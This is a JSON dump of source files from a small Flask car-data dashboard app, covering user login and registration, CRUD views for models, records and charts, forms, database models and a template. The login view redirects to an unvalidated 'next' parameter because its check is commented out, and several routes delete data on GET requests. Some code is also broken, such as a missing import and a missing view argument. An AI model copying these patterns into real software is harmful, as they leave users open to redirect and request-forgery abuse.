User.query.get_or_404(id)\n db.session.delete(user)\n db.session.commit()\n flash('User {}, deleted successfully.'.format(user.username), 'success')\n return redirect(url_for('carboard.indexUser'))\n\n# ----------------------- /carboard/login : User login page --------------------- #\n\n\[email protected]('/login', methods=['GET', 'POST'])\ndef login():\n \"\"\" User login method \"\"\"\n if current_user.is_authenticated:\n return redirect(url_for('carboard.index'))\n\n form = LoginForm()\n if form.validate_on_submit():\n # request.form.get('login', 'default')\n user, authenticated = User.authenticate(\n form.login.data, form.password.data\n )\n if user and authenticated:\n remember = form.remember.data == 'y'\n if login_user(user, remember=remember):\n flash(\"Logged in successfully\", 'success')\n next = request.args.get('next')\n # if not next_is_valid(next):\n # return abort(400)\n return redirect(next or url_for('carboard.index'))\n else:\n flash('Sorry, invalid login', 'error')\n\n return render_template('carboard/user/login.html', form=form)\n\n# ----------------------- /carboard/logout : User logout page ------------------- #\n\n\[email protected]('/logout')\n@login_required\ndef logout():\n logout_user()\n flash('Logged out', 'success')\n return redirect(url_for('frontend.index'))\n\n# ----------------------- /carboard/register : User register page --------------- #\n\n\[email protected]('/register', methods=['GET', 'POST'])\ndef register():\n \"\"\" User Sigup method \"\"\"\n if current_user.is_authenticated:\n return redirect(url_for('carboard.index'))\n\n form = RegisterForm()\n\n if form.validate_on_submit():\n avatar = upload_file(form.avatar.data, USER_LOGO_DIR)\n user = User(\n username=form.username.data,\n email=form.email.data,\n avatar=avatar,\n password=form.password.data,\n )\n db.session.add(user)\n db.session.commit()\n flash('Yay, you successfully registered !', 'success')\n if login_user(user):\n return redirect(url_for('carboard.index'))\n\n return render_template('carboard/user/register.html', form=form)\n\n# ----------------------- /carboard/profile : User profile page ----------------- #\n\n\[email protected]('/profile')\ndef profile():\n return render_template('carboard/user/profile.html', user=current_user)\n\n# ---------------------- /carboard/profile : Public user profile page ----------- #\n\n\[email protected]('/<int:user_id>/profile')\ndef public_profile(user_id):\n user = User.get_by_id(user_id)\n return render_template('carboard/user/profile.html', user=user)\n\n\n# /\\/\\/\\/\\/\\\\/\\/\\/\\/\\\\/\\/\\/\\/\\\\/\\/\\/\\/\\\\/\\/\\/\\/\\\\/\\/\\/\\/\\\\/\\/\\/\\/\\\\/\\/\\\\/\\/\\/ #\n# #\n# ================== Admin Blueprint ===================== #\n# #\n# /\\/\\/\\/\\/\\\\/\\/\\/\\/\\\\/\\/\\/\\/\\\\/\\/\\/\\/\\\\/\\/\\/\\/\\\\/\\/\\/\\/\\\\/\\/\\/\\/\\\\/\\//\\/\\/\\/ #\n\n# admin = Blueprint('admin', __name__, url_prefix='/admin')\n\n\n# ---------------------- /admin/index : Admin home page -------------------- #\n\n\n# @admin.route('/')\n# @login_required\n# @admin_required\n# def index():\n# users = User.query.all()\n# return render_template('admin/index.html', users=users, active='index')\n#\n#\n# @admin.route('/users')\n# @login_required\n# @admin_required\n# def users():\n# users = User.query.all()\n# return render_template('admin/users.html', users=users, active='users')\n#\n#\n# @admin.route('/carboard/<int:user_id>', methods=['GET', 'POST'])\n# @login_required\n# @admin_required\n# def user(user_id):\n# user = User.query.filter_by(id=user_id).first_or_404()\n# form = UserForm(obj=user, next=request.args.get('next'))\n# if form.validate_on_submit():\n# form.populate_obj(user)\n# db.session.add(user)\n# db.session.commit()\n# flash('User updated.', 'success')\n# return render_template('admin/user.html', user=user, form=form)\n" }, { "alpha_fraction": 0.5292425751686096, "alphanum_fraction": 0.5340364575386047, "avg_line_length": 25.743589401245117, "blob_id": "1143dc8e3b6adc938e00160fe955789b5a750584", "content_id": "ac647c07ed3ec2b2cc9cb50b25fec4bab81d6772", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1043, "license_type": "no_license", "max_line_length": 80, "num_lines": 39, "path": "/app/carboard/forms/model.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField, SelectField\nfrom wtforms.ext.sqlalchemy.fields import QuerySelectField\n\nfrom wtforms.validators import DataRequired, Regexp, Length\n\nfrom ..models.model import Model\nfrom ..models.brand import Brand\n\n# ------------------------ custom validation methods ------------------------ #\n\n\ndef model_exist(form, field):\n if Model.select().where(Model.name == field.data).exists():\n raise ValidationError('Model already exists !')\n\n# ---------------------------- Model form classes ---------------------------- #\n\n\nclass ModelForm(FlaskForm):\n \"\"\" Model add/edit FlaskForm \"\"\"\n name = StringField(\n 'Name',\n validators=[\n DataRequired(),\n Length(min=2, max=50),\n Regexp(\n r'^[a-zA-Z0-9 ]+$',\n message=(\"Model name is not correct !\")\n ),\n ]\n )\n brand_id = SelectField(\n 'Brand',\n coerce=int,\n validators=[\n DataRequired(),\n ]\n )\n" }, { "alpha_fraction": 0.8214285969734192, "alphanum_fraction": 0.8214285969734192, "avg_line_length": 27, "blob_id": "b9f50a926da217cfa6dac64f6d7accf9b02f5fe1", "content_id": "ee45d2f96588cca8fd00708ee79daaaffcc10431", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 28, "license_type": "no_license", "max_line_length": 27, "num_lines": 1, "path": "/app/importer/__init__.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from .views import importer\n" }, { "alpha_fraction": 0.540826141834259, "alphanum_fraction": 0.5437079668045044, "avg_line_length": 25.69230842590332, "blob_id": "ad3968971fa6a6e61da8b37b7111abe07a66d481", "content_id": "b3582e749c739930027cd5f434b71faff180ccb3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1041, "license_type": "no_license", "max_line_length": 79, "num_lines": 39, "path": "/app/carboard/forms/extrasignal.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField, SelectField\nfrom wtforms.validators import DataRequired, Regexp, Length\n\nfrom ..models.extrasignal import Extrasignal\n\n# ------------------------ custom validation methods ------------------------ #\n\n\ndef extrasignal_exist(form, field):\n if Extrasignal.select().where(Extrasignal.name == field.data).exists():\n raise ValidationError('Extra signal already exists !')\n\n# ---------------------------- User form classes ---------------------------- #\n\n\nclass ExtrasignalForm(FlaskForm):\n \"\"\" Extrasignal add/edit FlaskForm \"\"\"\n name = StringField(\n 'Name',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n # extrasignal_exist()\n ]\n )\n signal_id = SelectField(\n 'Main signal',\n coerce=int,\n validators=[\n DataRequired(),\n ]\n )\n storage = SelectField(\n 'Data Storage (Optionel)',\n validators = [\n DataRequired(),\n ]\n )\n" }, { "alpha_fraction": 0.614625096321106, "alphanum_fraction": 0.6195618510246277, "avg_line_length": 31.089109420776367, "blob_id": "c2a0073d4107e3993fba80ae6e66bff786908077", "content_id": "35dd92d0c0447834bc554f2cc7dc9c78ad266a1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3241, "license_type": "no_license", "max_line_length": 82, "num_lines": 101, "path": "/app/carboard/views/model.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required\n\nfrom . import carboard\nfrom ..models.model import Model\nfrom ..models.brand import Brand\nfrom ..forms.model import ModelForm\nfrom ..helpers import paginate, choices\nfrom ..constants import PER_PAGE, BRAND_LOGO_DIR\nfrom ...extensions import db\n\n# --------------------- /carboard/model/ : List of models ------------------ #\n\n\[email protected]('/model/')\n@login_required\ndef indexModel():\n models = Model.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/model/index.html', models=models)\n\n# ----------------------- /carboard/model/id : Show model ------------------- #\n\n\[email protected]('/model/<int:id>', methods=['GET'])\n@login_required\ndef showModel(id):\n model = Model.query.get_or_404(id)\n return render_template('carboard/model/show.html', model=model)\n\n# ---------------------- /carboard/model/new : Add model -------------------- #\n\n\[email protected]('/model/new', methods=['GET', 'POST'])\n@login_required\ndef newModel():\n \"\"\" Add new model \"\"\"\n\n form = ModelForm()\n form.brand_id.choices = choices(Brand)\n\n if form.validate_on_submit():\n model = Model(\n name=form.name.data,\n brand_id=form.brand_id.data,\n )\n db.session.add(model)\n db.session.commit()\n flash('Model {}, added successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.indexModel'))\n\n return render_template('carboard/model/new.html', form=form)\n\n# -------------------- /carboard/model/id/edit : Edit model ----------------- #\n\n\[email protected]('/model/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editModel(id):\n \"\"\" Edit existing model \"\"\"\n model = Model.query.get_or_404(id)\n form = ModelForm(obj=model)\n form.brand_id.choices = choices(Brand)\n\n if form.validate_on_submit():\n form.populate_obj(model)\n db.session.commit()\n flash('Model {}, updated successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.showModel', id=id))\n\n return render_template('carboard/model/edit.html', form=form, id=id)\n\n# ------------------ /carboard/model/id/delete : Delete model --------------- #\n\n\[email protected]('/model/<int:id>/toggle', methods=['GET'])\n@login_required\ndef toggleModel(id):\n model = Model.query.get_or_404(id)\n status = model.status if model.status is not None else 0\n model.status = 1 - status\n db.session.commit()\n msg = 'activated' if model.status is 1 else 'deactivated'\n flash('Model {}, {} successfully.'.format(model.name, msg), 'success')\n return redirect(url_for('carboard.indexModel'))\n\n# ------------------ /carboard/model/id/delete : Delete model --------------- #\n\n\[email protected]('/model/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteModel(id):\n model = Model.query.get_or_404(id)\n db.session.delete(model)\n db.session.commit()\n flash('Model {}, deleted successfully.'.format(model.name), 'success')\n return redirect(url_for('carboard.indexModel'))\n" }, { "alpha_fraction": 0.4991212785243988, "alphanum_fraction": 0.5035149455070496, "avg_line_length": 26.095237731933594, "blob_id": "3656a7e734327f8a3490e4bcc1b2eaf46ee67dda", "content_id": "de9e8618a09db26aeaa7561e4deabe15457b0df2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1138, "license_type": "no_license", "max_line_length": 80, "num_lines": 42, "path": "/app/carboard/forms/brand.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom flask_wtf.file import FileAllowed, FileField\nfrom wtforms import StringField\nfrom wtforms.validators import DataRequired, Regexp, Length\n\nfrom ..models.brand import Brand\n\n# ------------------------ custom validation methods ------------------------ #\n\n\ndef brand_exist(form, field):\n if Brand.select().where(Brand.name == field.data).exists():\n raise ValidationError('Brand already exists !')\n\n# ---------------------------- Brand form classes ---------------------------- #\n\n\nclass BrandForm(FlaskForm):\n \"\"\" Brand add/edit FlaskForm \"\"\"\n name = StringField(\n 'Name',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n Regexp(\n r'^[a-zA-Z ]+$',\n message=(\"Brand name is not correct !\")\n ),\n ]\n )\n code = StringField(\n 'Code',\n validators=[\n DataRequired(),\n Length(min=2, max=2),\n ]\n )\n logo = FileField(\n 'Logo', validators=[\n FileAllowed(['jpg', 'jpeg', 'png', 'gif'], 'Images only plz :) ')\n ]\n )\n" }, { "alpha_fraction": 0.8518518805503845, "alphanum_fraction": 0.8518518805503845, "avg_line_length": 27, "blob_id": "a6c9fb121422878aa02fa746ab6bb2ddf99d76b4", "content_id": "8c4daf0368a6d3a8dd2df0c96d6026a41c492f70", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27, "license_type": "no_license", "max_line_length": 27, "num_lines": 1, "path": "/app/explorer/__init__.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from .views import explorer" }, { "alpha_fraction": 0.6349801421165466, "alphanum_fraction": 0.6382884979248047, "avg_line_length": 35.86178970336914, "blob_id": "b8e9c6acd70ab85debe1010dbdbdb042d1312a34", "content_id": "202c60def46f118a41566b5f8d50312766c46038", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4534, "license_type": "no_license", "max_line_length": 82, "num_lines": 123, "path": "/app/carboard/views/record.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required\n\nfrom . import carboard\nfrom ..models.record import Record\nfrom ..models.user import User\nfrom ..models.drivetype import DriveType\nfrom ..models.vehicle import Vehicle\nfrom ..models.driver import Driver\nfrom ..models.status import Status\nfrom ..forms.record import RecordForm, RecordStatusForm\nfrom ..helpers import paginate, choices, upload_file\nfrom ..constants import PER_PAGE, DRIVE_FILES_DIR\nfrom ...extensions import db\n\n# --------------------- /carboard/record/ : List of records ------------------ #\n\[email protected]('/record/')\n@login_required\ndef indexRecord():\n records = Record.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/record/index.html', records=records)\n\n# ----------------------- /carboard/record/id : Show record ------------------- #\n\n\[email protected]('/record/<int:id>', methods=['GET'])\n@login_required\ndef showRecord(id):\n record = Record.query.get_or_404(id)\n return render_template('carboard/record/show.html', record=record)\n\n# ---------------------- /carboard/record/new : Add record -------------------- #\n\n\[email protected]('/record/new', methods=['GET', 'POST'])\n@login_required\ndef newRecord():\n \"\"\" Add new record \"\"\"\n\n form = RecordForm()\n form.user_id.choices = choices(User, 'Select a user', 1, 'username')\n form.drivetype_id.choices = choices(DriveType, 'Select a drive type', False)\n form.driver_id.choices = choices(Driver, 'Select a Driver', False, 'fullname')\n form.vehicle_id.choices = choices(Vehicle, 'Select a vehicle', False, 'id')\n\n if form.validate_on_submit():\n trace = upload_file(form.trace.data, DRIVE_FILES_DIR)\n record = Record(\n user_id=form.user_id.data,\n drivetype_id=form.drivetype_id.data,\n driver_id=form.driver_id.data,\n vehicle_id=form.vehicle_id.data,\n name=form.name.data,\n start=form.start.data,\n end=form.end.data,\n description=form.description.data,\n trace=trace\n )\n db.session.add(record)\n db.session.commit()\n flash('Record {}, added successfully.'.format(record.name), 'success')\n return redirect(url_for('carboard.indexRecord'))\n\n return render_template('carboard/record/new.html', form=form)\n\n# -------------------- /carboard/record/id/edit : Edit record ----------------- #\n\n\[email protected]('/record/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editRecord(id):\n \"\"\" Edit existing record \"\"\"\n record = Record.query.get_or_404(id)\n oldTrace = record.trace\n\n form = RecordForm(obj=record)\n del form.trace\n form.user_id.choices = choices(User, 'Select a user', 1, 'username')\n form.drivetype_id.choices = choices(DriveType, 'Select a drive type', False)\n form.driver_id.choices = choices(Driver, 'Select a Driver', False, 'fullname')\n form.vehicle_id.choices = choices(Vehicle, 'Select a vehicle', False, 'id')\n\n if form.validate_on_submit():\n form.populate_obj(record)\n db.session.commit()\n flash('Record {}, updated successfully.'.format(record.name), 'success')\n return redirect(url_for('carboard.showRecord', id=id))\n\n return render_template('carboard/record/edit.html', form=form, id=id)\n\n# ------------------ /carboard/record/id/delete : Delete record --------------- #\n\n\[email protected]('/record/<int:id>/toggle', methods=['GET', 'POST'])\n@login_required\ndef toggleRecord(id):\n record = Record.query.get_or_404(id)\n form = RecordStatusForm(obj=record)\n form.status_id.choices = [(s.id, s) for s in Status.query.all()]\n if form.validate_on_submit():\n form.populate_obj(record)\n db.session.commit()\n flash('Record {}, updated successfully.'.format(record.name), 'success')\n return redirect(url_for('carboard.showRecord', id=id))\n return render_template('carboard/record/status.html', form=form, id=id)\n\n# ------------------ /carboard/record/id/delete : Delete record --------------- #\n\n\[email protected]('/record/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteRecord(id):\n record = Record.query.get_or_404(id)\n db.session.delete(record)\n db.session.commit()\n flash('Record {}, deleted successfully.'.format(record.name), 'success')\n return redirect(url_for('carboard.indexRecord'))\n" }, { "alpha_fraction": 0.6031966805458069, "alphanum_fraction": 0.6115357875823975, "avg_line_length": 34.09756088256836, "blob_id": "a97d93e935fd1128e80ee749a002f3d74748188d", "content_id": "95ad5c085ab8b2a76f645ed5c51052e5c8402dd3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1439, "license_type": "no_license", "max_line_length": 81, "num_lines": 41, "path": "/app/carboard/models/driver.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom ...extensions import db\n\n# -------------------------------- Driver Model ------------------------------- #\n\n\nclass Driver(db.Model):\n \"\"\" Driver Model:\n The driver is the one who produce data records.\n \"\"\"\n __tablename__ = 'drivers'\n\n id = db.Column(db.Integer, primary_key=True)\n gender = db.Column(db.SmallInteger, default=0)\n fullname = db.Column(db.String(255), default='Anonyme')\n avatar = db.Column(db.String(255), nullable=True)\n city = db.Column(db.String(255), nullable=True)\n\n status_id = db.Column(db.SmallInteger, db.ForeignKey('status.id'))\n status = db.relationship('Status')\n\n user_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n user = db.relationship('User', backref=db.backref('drivers', lazy='dynamic'))\n\n country_id = db.Column(db.Integer, db.ForeignKey('countries.id'))\n country = db.relationship('Country')\n\n created = db.Column(db.DateTime(), default=datetime.utcnow())\n\n def __init__(self, user_id, country_id, **kwargs):\n self.vars = kwargs\n self.gender = kwargs.get('gender', 3)\n self.fullname = kwargs.get('fullname', 'Anonymous driver')\n self.user_id = user_id\n self.country_id = country_id\n self.avatar = kwargs.get('avatar')\n self.status_id = kwargs.get('status_id', 1)\n self.city = kwargs.get('city')\n\n def __repr__(self):\n return self.fullname\n" }, { "alpha_fraction": 0.5982000827789307, "alphanum_fraction": 0.6029645204544067, "avg_line_length": 28.984127044677734, "blob_id": "599893240b7f3d51ac757bf1cc6a52fc69b1d8da", "content_id": "f5a64d3fb4b2d8999c898d3865c3b46d226438f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3778, "license_type": "no_license", "max_line_length": 82, "num_lines": 126, "path": "/app/explorer/views.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n Blueprint, render_template, request, flash, redirect, url_for\n)\nfrom flask_login import (\n login_required, current_user\n)\n\nfrom .models import Chart\nfrom .forms import ChartForm\nfrom .helpers import choices\n\nfrom ..carboard.models.vehicle import Vehicle\nfrom ..carboard.models.driver import Driver\nfrom ..extensions import db\n\n\n# Declaring Explorer blueprint\n\nexplorer = Blueprint('explorer', __name__, url_prefix='/explorer')\n\n# --------------------- /explorer/ : List of charts ------------------- #\n\n\[email protected]('/', methods=['GET'])\n@login_required\ndef index():\n\n return render_template('explorer/explorer.html')\n\n# --------------------- /explorer/ : List of charts ------------------- #\n\n\[email protected]('/chart', methods=['GET'])\n@login_required\ndef indexChart():\n charts = Chart.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', 10, type=int),\n )\n return render_template('explorer/index.html', charts=charts)\n\n# ----------------------- /explorer/id : Show chart ------------------- #\n\n\[email protected]('/chart/<int:id>', methods=['GET'])\n@login_required\ndef showChart(id):\n chart = Chart.query.get_or_404(id)\n return render_template('explorer/show.html', chart=chart)\n\n# ---------------------- /explorer/new : Add new chart ----------- #\n\n\[email protected]('/chart/new', methods=['GET', 'POST'])\n@login_required\ndef newChart():\n \"\"\" Add new chart\"\"\"\n\n form = ChartForm()\n form.driver_id.choices = choices(Driver, 'Select a Driver', False, 'fullname')\n form.vehicle_id.choices = choices(Vehicle, 'Select a vehicle')\n\n if form.validate_on_submit():\n chart = Chart(\n name=form.name.data,\n user_id=current_user.id,\n driver_id=form.driver_id.data,\n vehicle_id=form.vehicle_id.data,\n isValid=False,\n error=\"Not initialized yet\"\n )\n db.session.add(chart)\n db.session.commit()\n return redirect(url_for('carboard.explorerChart'))\n\n return render_template('explorer/new.html', form=form)\n\n# -------------------- /explorer/id/edit : Edit chart ----------------- #\n\n\[email protected]('/chart/<int:id>/explorer', methods=['GET', 'POST'])\n@login_required\ndef explorerChart():\n \"\"\"Setup chart via explorer \"\"\"\n\n chart = Chart.query.get_or_404(id)\n\n # if form.validate_on_submit():\n # trace = upload_file(form.trace.data, DRIVE_FILES_DIR)\n # chart = Chart(\n # user_id=form.user_id.data,\n # driver_id=form.driver_id.data,\n # vehicle_id=form.vehicle_id.data,\n # name=form.name.data,\n # )\n # db.session.add(chart)\n # db.session.commit()\n # return redirect(url_for('carboard.explorerChart'))\n\n return render_template('explorer/new.html', chart=chart)\n\n# ------------------ /explorer/id/delete : Delete chart --------------- #\n\n\[email protected]('/chart/<int:id>/toggle', methods=['GET', 'POST'])\n@login_required\ndef toggleChart(id):\n chart = Chart.query.get_or_404(id)\n status = chart.status if chart.status is not None else 0\n chart.status = 1 - status\n db.session.commit()\n msg = 'activated' if chart.status is 1 else 'deactivated'\n flash('Chart {}, {} successfully.'.format(chart.name, msg), 'info')\n return redirect(url_for('carboard.indexChart'))\n\n# ------------------ /explorer/id/delete : Delete chart --------------- #\n\n\[email protected]('/chart/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteChart(id):\n chart = Chart.query.get_or_404(id)\n db.session.delete(chart)\n db.session.commit()\n flash('Chart {}, deleted successfully.'.format(chart.name), 'info')\n return redirect(url_for('carboard.indexChart'))\n" }, { "alpha_fraction": 0.43623512983322144, "alphanum_fraction": 0.4384837746620178, "avg_line_length": 37.912498474121094, "blob_id": "e052b46c074823176d1ad39fb8b188bf75e3af7e", "content_id": "020e82a41062beb6bfa61b9fa7e4de0e2403b841", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 3113, "license_type": "no_license", "max_line_length": 128, "num_lines": 80, "path": "/templates/carboard/signalsource/show.html", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "{% extends \"layout.html\" %}\n\n{% from \"carboard/macros.html\" import render_pagination %}\n\n{% block title %}\n Signal source details | {{ super() }}\n{% endblock %}\n\n{% block content_header %}\n <section class=\"content-header\">\n <h1>\n Signal source details\n </h1>\n <ol class=\"breadcrumb\">\n <li><a href=\"{{ url_for('carboard.index') }}\"><i class=\"fa fa-dashboard\"></i>Home</a></li>\n <li><a href=\"{{ url_for('carboard.indexSignalsource') }}\">Signal Sources</a></li>\n <li class=\"active\">Signal Source Details</li>\n </ol>\n </section>\n{% endblock content_header %}\n\n\n{% block content %}\n <div class=\"row\">\n <div class=\"col-md-12\">\n <div class=\"box\">\n\n <div class=\"box-header with-border\">\n <h3 class=\"box-title\">Signal source : {{ signalsource.name }}</h3>\n </div>\n\n <div class=\"box-body\">\n\n <div class=\"line\">\n <strong class=\"line-title\">ID</strong>\n <p class=\"line-body\">{{ signalsource.id }}</p>\n </div>\n\n <div class=\"line\">\n <strong class=\"line-title\">Name</strong>\n <p class=\"line-body\">{{ signalsource.name }}</p>\n </div>\n\n <div class=\"line\">\n <strong class=\"line-title\">Signals</strong>\n <p class=\"line-body\">{{ signalsource.signals }}</p>\n </div>\n <div class=\"line\">\n <strong class=\"line-title\">Description </strong>\n <p class=\"line-body\">{{ signalsource.description or 'No description provided' }}</p>\n </div>\n\n <div class=\"line\">\n <strong class=\"line-title\">Status</strong>\n <p class=\"line-body\">\n {% if signalsource.status == 1 %}\n <span class=\"label bg-green\">Activated</span>\n {% else %}\n <span class=\"label bg-red\">Disabled</span>\n {% endif %}\n </p>\n </div>\n\n <div class=\"line\">\n <strong class=\"line-title\">Creation</strong>\n <p class=\"line-body\">{{ signalsource.created.strftime('%d-%m-%Y') }}</p>\n </div>\n\n </div>\n\n <div class=\"box-footer form-footer\">\n <a href=\"{{ url_for('carboard.editSignalsource', id=signalsource.id) }}\" class=\"btn btn-success\">Edit</a>\n <a href=\"{{ url_for('carboard.deleteSignalsource', id=signalsource.id) }}\" class=\"btn btn-danger\">Delete</a>\n <a href=\"{{ url_for('carboard.indexSignalsource') }}\" class=\"btn btn-default pull-right\">Back to\n list</a>\n </div>\n </div>\n </div>\n </div>\n{% endblock %}\n" }, { "alpha_fraction": 0.6225000023841858, "alphanum_fraction": 0.6303571462631226, "avg_line_length": 30.81818199157715, "blob_id": "5093e692ad6551c0523cf38ea01257bf530915b2", "content_id": "f344faee678f5be6a58902ab3a1b3d73c2306f71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2800, "license_type": "no_license", "max_line_length": 104, "num_lines": 88, "path": "/app/carboard/models/user.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from uuid import uuid4\nfrom datetime import datetime\nfrom flask_login import UserMixin\nfrom flask_bcrypt import generate_password_hash, check_password_hash\nfrom ..constants import DEFAULT_AVATAR, ROLE_USER, ROLE_ADMIN\nfrom ...extensions import db\n\n\n# -------------------------------- User Model ------------------------------- #\n\nclass User(db.Model, UserMixin):\n \"\"\" User Model:\n the user can be a person or even a campany, he/it can manage drivers\n and vehicles.\n \"\"\"\n __tablename__ = 'users'\n\n id = db.Column(db.Integer, primary_key=True)\n fullname = db.Column(db.String(255))\n username = db.Column(db.String(255), nullable=False, unique=True)\n email = db.Column(db.String(255), nullable=False, unique=True)\n password = db.Column(db.String(255), nullable=False)\n avatar = db.Column(db.String(255), nullable=True, default=DEFAULT_AVATAR)\n role = db.Column(db.SmallInteger, default=ROLE_USER)\n activation = db.Column(db.String(255))\n status = db.Column(db.SmallInteger, default=1)\n last_login = db.Column(db.DateTime(), default=datetime.utcnow())\n created = db.Column(db.DateTime(), default=datetime.utcnow())\n\n def __init__(self, username, email, password, fullname=None, avatar=None, role=ROLE_USER, status=1):\n self.fullname = fullname or username\n self.username = username\n self.email = email.lower()\n self.password = generate_password_hash(password)\n self.avatar = avatar\n self.role = role\n self.activation = str(uuid4())\n self.status = status\n\n def set_password(self, password):\n self.password = generate_password_hash(password)\n\n def check_password(self, password):\n return check_password_hash(self.password, password)\n\n @property\n def is_authenticated(self):\n return True\n\n def is_active(self):\n return self.status\n\n def is_anonymous(self):\n return False\n\n def is_admin(self):\n return self.role == ROLE_ADMIN\n\n def get_id(self):\n return self.id\n\n def __repr__(self):\n return '{} ({})'.format(self.username, self.email)\n\n def get_role(self):\n return self.role\n\n def get_status(self):\n return self.status\n\n @classmethod\n def check_username(cls, username):\n return cls.query.exists().where(User.username == username).scalar()\n\n @classmethod\n def authenticate(cls, login, password):\n user = cls.query.filter(\n db.or_(User.username == login, User.email == login)\n ).first()\n if user:\n authenticated = user.check_password(password)\n else:\n authenticated = False\n return user, authenticated\n\n @classmethod\n def get_by_id(cls, id):\n return cls.query.filter(User.id == id).first()\n" }, { "alpha_fraction": 0.5208333134651184, "alphanum_fraction": 0.5256410241127014, "avg_line_length": 26.130434036254883, "blob_id": "8dcadf72dca6d731fd132e4fd21cd99e596db03c", "content_id": "6047eed6924a0c9b6a70a29660ed441c42551f72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 624, "license_type": "no_license", "max_line_length": 79, "num_lines": 23, "path": "/app/carboard/forms/status.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField\nfrom wtforms.validators import DataRequired, Regexp, Length\n\nfrom ..models.status import Status\n\n# ----------------------------- Status form classes ---------------------------\n\n\nclass StatusForm(FlaskForm):\n \"\"\" Status add/edit FlaskForm \"\"\"\n title = StringField(\n 'Status title',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n Regexp(\n r'^[a-zA-Z ]+$',\n message=(\"Status title is not correct !\")\n ),\n ]\n )\n color = StringField('Class color')\n" }, { "alpha_fraction": 0.44807693362236023, "alphanum_fraction": 0.4692307710647583, "avg_line_length": 22.636363983154297, "blob_id": "f9292e04d390f642a694e208a2cb936716ddd975", "content_id": "f6bdd7539507b802cf2190a73b50718e2ac85cb8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 520, "license_type": "no_license", "max_line_length": 79, "num_lines": 22, "path": "/app/importer/datasets/t-drive/helpers.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from .constants import TRANSFORM\n\n# -------------------- OpenXC Helpers --------------------------------------- #\n\n\ndef correct_value(value):\n try:\n return int(value)\n except:\n for k, v in TRANSFORM.items():\n if value == v:\n return k\n return -99999\n\n\ndef correct_time(timestamp):\n try:\n timestamp = str(timestamp)\n t = timestamp.split('.')\n return '{}{}'.format(t[0], t[1][:3].ljust(3, '0'))\n except:\n return timestamp.split('.')[0]\n" }, { "alpha_fraction": 0.6282051205635071, "alphanum_fraction": 0.6307692527770996, "avg_line_length": 26.85714340209961, "blob_id": "e7e543acd6ccb8ea03ebce8f6b4203172e067fce", "content_id": "aa67bf12987c51d5fdb74111cf1ba05ed65a8789", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 390, "license_type": "no_license", "max_line_length": 93, "num_lines": 14, "path": "/config/database.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from .config import DefaultConfig\n\n# -------------------------- Sqlalchemy Configuration ----------------------- #\n\n\nclass DatabaseConfig(object):\n\n SQLALCHEMY_TRACK_MODIFICATIONS = True\n\n SQLALCHEMY_ECHO = False\n\n SQLALCHEMY_DATABASE_URI = 'sqlite:///' + DefaultConfig.INSTANCE_FOLDER_PATH + '/YooNa.db'\n\n # SQLALCHEMY_DATABASE_URI = 'mysql://user:pass@server/db?charset=utf8'\n" }, { "alpha_fraction": 0.4947145879268646, "alphanum_fraction": 0.4947145879268646, "avg_line_length": 28.10769271850586, "blob_id": "16730bab587beb021b21554e1d108249e019a602", "content_id": "4101731d530e5a16f961c71ae05d6706da636845", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1892, "license_type": "no_license", "max_line_length": 79, "num_lines": 65, "path": "/app/extensions.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from 